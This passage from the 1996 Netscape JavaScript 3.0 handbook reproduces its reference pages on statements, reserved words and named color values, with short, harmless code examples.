document of mimeType text/html if you do not explicitly issue a document.open() method in the
event handler.

Examples
All the examples used for the write method are also valid with the writeln method.

See also

· <A HREF="ref_a-c.html#close_docLast modified 01/01/70 01:00:00

23 of 23 30.08.96 18:01
wysiwyg://display.tocfr...k/javascript/stmts.html wysiwyg://display.tocframe.5/http://www....zilla/3.0/handbook/javascript/stmts.html

Statements
JavaScript statements consist of keywords used with the appropriate syntax. A single statement
may span multiple lines. Multiple statements may occur on a single line if each statement is
separated by a semi-colon.

Syntax conventions: All keywords in syntax statements are in bold. Words in italics represent
user-defined names or statements. Any portions enclosed in square brackets, [ ], are optional.
{statements} indicates a block of statements, which can consist of a single statement or multiple
statements delimited by a curly braces {}.

The following statements are available in JavaScript:


·
·
break
comment
·
new
·
return
·
·
continue
for
·
this
·
var
·
·
for...in
function
·
while
·
with
· if...else

NOTE: new and this are not really statements, but are included in this section for convenience.

break
A statement that terminates the current while or for loop and transfers program control to the
statement following the terminated loop.

Syntax
break

Examples
The following function has a break statement that terminates the while loop when i is 3, and then
returns the value 3 * x.

function testBreak(x) {
var i = 0
while (i < 6) {
if (i == 3)
break
i++
}
return i*x
}

comment
Notations by the author to explain what a script does. Comments are ignored by the interpreter.
JavaScript supports Java-style comments:

1 of 9 30.08.96 18:14
wysiwyg://display.tocfr...k/javascript/stmts.html wysiwyg://display.tocframe.5/http://www....zilla/3.0/handbook/javascript/stmts.html

·
·
Comments on a single line are preceded by a double-slash (//).
Comments that span multiple lines are preceded by a /* and followed by a */.

Syntax
1. // comment text
2. /* multiple line comment text */

Examples
// This is a single-line comment.
/* This is a multiple-line comment. It can be of any length, and
you can put whatever you want here. */

continue
A statement that terminates execution of the block of statements in a while or for loop, and
continues execution of the loop with the next iteration. In contrast to the break statement,
continue does not terminate the execution of the loop entirely: instead,

·
·
In a while loop, it jumps back to the condition.
In a for loop, it jumps to the update expression.

Syntax
continue

Examples
The following example shows a while loop that has a continue statement that executes when the
value of i is 3. Thus, n takes on the values 1, 3, 7, and 12.

i = 0
n = 0
while (i < 5) {
i++
if (i == 3)
continue
n += i
}

for
A statement that creates a loop that consists of three optional expressions, enclosed in parentheses
and separated by semicolons, followed by a block of statements executed in the loop.

Syntax
for ([ initial-expression;] [ condition;] [ increment-expression]) {
statements

2 of 9 30.08.96 18:14
wysiwyg://display.tocfr...k/javascript/stmts.html wysiwyg://display.tocframe.5/http://www....zilla/3.0/handbook/javascript/stmts.html

initial-expression is a statement or variable declaration. It is typically used to initialize a counter


variable. This expression may optionally declare new variables with the var keyword.

condition is evaluated on each pass through the loop. If this condition evaluates to true, the
statements in statements are performed. This conditional test is optional. If omitted, the condition
always evaluates to true.

increment-expression is generally used to update or increment the counter variable.

statements is a block of statements that are executed as long as condition evaluates to true. This
can be a single statement or multiple statements. Although not required, it is good practice to
indent these statements from the beginning of the for statement.

Examples

The following for statement starts by declaring the variable i and initializing it to zero. It checks
that i is less than nine, performs the two succeeding statements, and increments i by one after each
pass through the loop.

for (var i = 0; i < 9; i++) {


n += i
myfunc(n)
}

for...in
A statement that iterates a specified variable over all the properties of an object. For each distinct
property, JavaScript executes the specified statements.

Syntax
for (variable in object) {
statements }

variable is the variable to iterate over every property.

object is the object for which the properties are iterated.

statements specifies the statements to execute for each property.

Examples
The following function takes as its argument an object and the object's name. It then iterates over
all the object's properties and returns a string that lists the property names and their values.

function dump_props(obj, obj_name) {


var result = ""
for (var i in obj) {
result += obj_name + "." + i + " = " + obj[i] + "<BR>"
}
result += "<HR>"
return result

3 of 9 30.08.96 18:14
wysiwyg://display.tocfr...k/javascript/stmts.html wysiwyg://display.tocframe.5/http://www....zilla/3.0/handbook/javascript/stmts.html

function
A statement that declares a JavaScript function name with the specified parameters param.
Acceptable parameters include strings, numbers, and objects.

To return a value, the function must have a return statement that specifies the value to return.
You cannot nest a function statement in another statement or in itself.

All parameters are passed to functions, by value. In other words, the value is passed to the
function, but if the function changes the value of the parameter, this change is not reflected
globally or in the calling function.

Syntax
function name([param] [, param] [..., param]) {
statements }

Examples
//This function returns the total dollar amount of sales, when
//given the number of units sold of products a, b, and c.
function calc_sales(units_a, units_b, units_c) {
return units_a*79 + units_b*129 + units_c*699
}

if...else
A statement that executes a set of statements if a specified condition is true. If the condition is
false, another set of statements can be executed.

Syntax
if (condition) {
statements1 }
[else {
statements2}]

condition can be any JavaScript expression that evaluates to true or false. Parentheses are required
around the condition. If condition evaluates to true, the statements in statements1 are executed.

statements1 and statements2 can be any JavaScript statements, including further nested if
statements. Multiple statements must be enclosed in braces.

Examples
if ( cipher_char == from_char ) {
result = result + to_char
x++ }
else

4 of 9 30.08.96 18:14
wysiwyg://display.tocfr...k/javascript/stmts.html wysiwyg://display.tocframe.5/http://www....zilla/3.0/handbook/javascript/stmts.html

result = result + clear_char

new
An operator that lets you create an instance of a user-defined object type.

Creating an object type requires two steps:

1. Define the object type by writing a function.


2. Create an instance of the object with new.

To define an object type, create a function for the object type that specifies its name, properties,
and methods. An object can have a property that is itself another object. See the examples below.

You can always add a property to a previously defined object. For example, the statement
car1.color = "black" adds a property color to car1, and assigns it a value of "black". However,
this does not affect any other objects. To add the new property to all objects of the same type, you
must add the property to the definition of the car object type.

Syntax
objectName = new objectType ( param1 [,param2] ...[, paramN] )

objectName is the name of the new object instance.


objectType is the object type. It must be a function that defines an object type.
param1...paramN are the property values for the object. These properties are parameters defined
for the objectType function.

Examples
Example 1: object type and object instance. Suppose you want to create an object type for cars.
You want this type of object to be called car, and you want it to have properties for make, model,
year, and color. To do this, you would write the following function:

function car(make, model, year) {


this.make = make
this.model = model
this.year = year
}

Now you can create an object called mycar as follows:

mycar = new car("Eagle", "Talon TSi", 1993)

This statement creates mycar and assigns it the specified values for its properties. Then the value
of mycar.make is the string "Eagle", mycar.year is the integer 1993, and so on.

You can create any number of car objects by calls to new. For example,

kenscar = new car("Nissan", "300ZX", 1992)

Example 2: object property that is itself another object. Suppose you define an object called
person as follows:

5 of 9 30.08.96 18:14
wysiwyg://display.tocfr...k/javascript/stmts.html wysiwyg://display.tocframe.5/http://www....zilla/3.0/handbook/javascript/stmts.html

function person(name, age, sex) {


this.name = name
this.age = age
this.sex = sex
}

And then instantiate two new person objects as follows:

rand = new person("Rand McNally", 33, "M")


ken = new person("Ken Jones", 39, "M")

Then you can rewrite the definition of car to include an owner property that takes a person object,
as follows:

function car(make, model, year, owner) {


this.make = make;
this.model = model;
this.year = year;
this.owner = owner;
}

To instantiate the new objects, you then use the following:

car1 = new car("Eagle", "Talon TSi", 1993, rand);


car2 = new car("Nissan", "300ZX", 1992, ken)

Instead of passing a literal string or integer value when creating the new objects, the above
statements pass the objects rand and ken as the parameters for the owners. To find out the name
of the owner of car2, you can access the following property:

car2.owner.name

return
A statement that specifies the value to be returned by a function.

Syntax
return expression

Examples
The following function returns the square of its argument, x, where x is a number.

function square( x ) {
return x * x
}

this
A keyword that you can use to refer to the current object. In general, in a method this refers to the
calling object.

6 of 9 30.08.96 18:14
wysiwyg://display.tocfr...k/javascript/stmts.html wysiwyg://display.tocframe.5/http://www....zilla/3.0/handbook/javascript/stmts.html

Syntax
this[.propertyName]

Examples
Suppose a function called validate validates an object's value property, given the object and the
high and low values:

function validate(obj, lowval, hival) {


if ((obj.value < lowval) || (obj.value > hival))
alert("Invalid Value!")
}

You could call validate in each form element's onChange event handler, using this to pass it the
form element, as in the following example:

<B>Enter a number between 18 and 99:</B>


<INPUT TYPE = "text" NAME = "age" SIZE = 3
onChange="validate(this, 18, 99)">

var
A statement that declares a variable, optionally initializing it to a value. The scope of a variable is
the current function or, for variables declared outside a function, the current application.

Using var outside a function is optional; you can declare a variable by simply assigning it a value.
However, it is good style to use var, and it is necessary in functions if a global variable of the
same name exists.

Syntax
var varname [= value] [..., varname [= value] ]

varname is the variable name. It can be any legal identifier.


value is the intial value of the variable and can be any legal expression.

Examples
var num_hits = 0, cust_no = 0

while
A statement that creates a loop that evaluates an expression, and if it is true, executes a block of
statements. The loop then repeats, as long as the specified condition is true.

Syntax
while (condition) {
statements

7 of 9 30.08.96 18:14
wysiwyg://display.tocfr...k/javascript/stmts.html wysiwyg://display.tocframe.5/http://www....zilla/3.0/handbook/javascript/stmts.html

condition is evaluated before each pass through the loop. If this condition evaluates to true, the
statements in the succeeding block are performed. When condition evaluates to false, execution
continues with the statement following statements.

statements is a block of statements that are executed as long as the condition evaluates to true.
Although not required, it is good practice to indent these statements from the beginning of the
while statement.

Examples

The following while loop iterates as long as n is less than three.

n = 0
x = 0
while( n < 3 ) {
n ++
x += n
}

Each iteration, the loop increments n and adds it to x. Therefore, x and n take on the following
values:

·
·
After the first pass: n = 1 and x = 1
After the second pass: n = 2 and x = 3
· After the third pass: n = 3 and x = 6

After completing the third pass, the condition n < 3 is no longer true, so the loop terminates.

with
A statement that establishes a the default object for a set of statements. Within the set of
statements, any property references that do not specify an object are assumed to be for the default
object.

Syntax
with (object){
statements
}

object specifies the default object to use for the statements. The parentheses are required around
object.
statements is any block of statements.

Examples
The following with statement specifies that the Math object is the default object. The statements
following the with statement refer to the PI property and the cos and sin methods, without
specifying an object. JavaScript assumes the Math object for these references.

var a, x, y
var r=10

8 of 9 30.08.96 18:14
wysiwyg://display.tocfr...k/javascript/stmts.html wysiwyg://display.tocframe.5/http://www....zilla/3.0/handbook/javascript/stmts.html

with (Math) {
a = PI * r * r
x = r * cos(PI)
y = r * sin(PI/2)
}

Last modified 01/01/70 01:00:00

9 of 9 30.08.96 18:14
http://www.netscape.com...avascript/keywords.html wysiwyg://display.tocframe.5/http://www....la/3.0/handbook/javascript/keywords.html

Reserved words
The reserved words in this list cannot be used as JavaScript variables, functions, methods, or
object names. Some of these words are keywords used in JavaScript; others are reserved for
future use.
·
·
abstract
boolean
·
extends
·
false
int ·
·
interface
·
super
·
switch
·
·
break
byte
·
final
·
finally
long
native
·
· ·
synchronized
·
this
·
·
case
catch
·
float
·
for
new
null
·
· ·
throw
·
throws
·
·
char
class
·
function
·
goto
package
private
·
· ·
transient
·
true
·
·
const
continue
if·
·
implements public
·
protected
· ·
try
·
var
·
·
default
do in
·
import
·
return
short
·
· ·
void
·
while
·
·
double
else
·
instanceof static · ·
with

1 of 1 30.08.96 18:15
wysiwyg://display.tocfr.../javascript/colors.html wysiwyg://display.tocframe.5/http://www....illa/3.0/handbook/javascript/colors.html

Color values
The string literals in this table can be used to specify colors in the JavaScript alinkColor, bgColor,
fgColor, linkColor, and vlinkColor properties and the fontcolor method.

You can also use these string literals to set the color in the HTML reflections of these properties,
for example <BODY BGCOLOR="bisque"> , and to set the COLOR attribute of the FONT tag, for
example, <FONT COLOR="blue">color</font> .

The following red, green, and blue values are in hexadecimal.

Color Red Green Blue


aliceblue F0 F8 FF
antiquewhite FA EB D7
aqua 00 FF FF
aquamarine 7F FF D4
azure F0 FF FF
beige F5 F5 DC
bisque FF E4 C4
black 00 00 00
blanchedalmond FF EB CD
blue 00 00 FF
blueviolet 8A 2B E2
brown A5 2A 2A
burlywood DE B8 87
cadetblue 5F 9E A0
chartreuse 7F FF 00
chocolate D2 69 1E
coral FF 7F 50
cornflowerblue 64 95 ED
cornsilk FF F8 DC
crimson DC 14 3C
cyan 00 FF FF
darkblue 00 00 8B
darkcyan 00 8B 8B
darkgoldenrod B8 86 0B
darkgray A9 A9 A9
darkgreen 00 64 00
darkkhaki BD B7 6B
darkmagenta 8B 00 8B
darkolivegreen 55 6B 2F
darkorange FF 8C 00
darkorchid 99 32 CC
darkred 8B 00 00
darksalmon E9 96 7A
darkseagreen 8F BC 8F
darkslateblue 48 3D 8B
darkslategray 2F 4F 4F
darkturquoise 00 CE D1
darkviolet 94 00 D3
deeppink FF 14 93
deepskyblue 00 BF FF

1 of 3 30.08.96 18:15
wysiwyg://display.tocfr.../javascript/colors.html wysiwyg://display.tocframe.5/http://www....illa/3.0/handbook/javascript/colors.html

dimgray 69 69 69
dodgerblue 1E 90 FF
firebrick B2 22 22
floralwhite FF FA F0
forestgreen 22 8B 22
fuchsia FF 00 FF
gainsboro DC DC DC
ghostwhite F8 F8 FF
gold FF D7 00
goldenrod DA A5 20
gray 80 80 80
green 00 80 00
greenyellow AD FF 2F
honeydew F0 FF F0
hotpink FF 69 B4
indianred CD 5C 5C
indigo 4B 00 82
ivory FF FF F0
khaki F0 E6 8C
lavender E6 E6 FA
lavenderblush FF F0 F5
lawngreen 7C FC 00
lemonchiffon FF FA CD
lightblue AD D8 E6
lightcoral F0 80 80
lightcyan E0 FF FF
lightgoldenrodyellow FA FA D2
lightgreen 90 EE 90
lightgrey D3 D3 D3
lightpink FF B6 C1
lightsalmon FF A0 7A
lightseagreen 20 B2 AA
lightskyblue 87 CE FA
lightslategray 77 88 99
lightsteelblue B0 C4 DE
lightyellow FF FF E0
lime 00 FF 00
limegreen 32 CD 32
linen FA F0 E6
magenta FF 00 FF
maroon 80 00 00
mediumaquamarine 66 CD AA
mediumblue 00 00 CD
mediumorchid BA 55 D3
mediumpurple 93 70 DB
mediumseagreen 3C B3 71
mediumslateblue 7B 68 EE
mediumspringgreen 00 FA 9A
mediumturquoise 48 D1 CC
mediumvioletred C7 15 85
midnightblue 19 19 70
mintcream F5 FF FA
mistyrose FF E4 E1

2 of 3 30.08.96 18:15
wysiwyg://display.tocfr.../javascript/colors.html wysiwyg://display.tocframe.5/http://www....illa/3.0/handbook/javascript/colors.html

moccasin FF E4 B5
navajowhite FF DE AD
navy 00 00 80
oldlace FD F5 E6
olive 80 80 00
olivedrab 6B 8E 23
orange FF A5 00
orangered FF 45 00
orchid DA 70 D6
palegoldenrod EE E8 AA
palegreen 98 FB 98
paleturquoise AF EE EE
palevioletred DB 70 93
papayawhip FF EF D5
peachpuff FF DA B9
peru CD 85 3F
pink FF C0 CB
plum DD A0 DD
powderblue B0 E0 E6
purple 80 00 80
red FF 00 00
rosybrown BC 8F 8F
royalblue 41 69 E1
saddlebrown 8B 45 13
salmon FA 80 72
sandybrown F4 A4 60
seagreen 2E 8B 57
seashell FF F5 EE
sienna A0 52 2D
silver C0 C0 C0
skyblue 87 CE EB
slateblue 6A 5A CD
slategray 70 80 90
snow FF FA FA
springgreen 00 FF 7F
steelblue 46 82 B4
tan D2 B4 8C
teal 00 80 80
thistle D8 BF D8
tomato FF 63 47
turquoise 40 E0 D0
violet EE 82 EE
wheat F5 DE B3
white FF FF FF
whitesmoke F5 F5 F5
yellow FF FF 00
yellowgreen 9A CD 32
Last modified 01/01/70 01:00:00

3 of 3 30.08.96 18:15

You might also like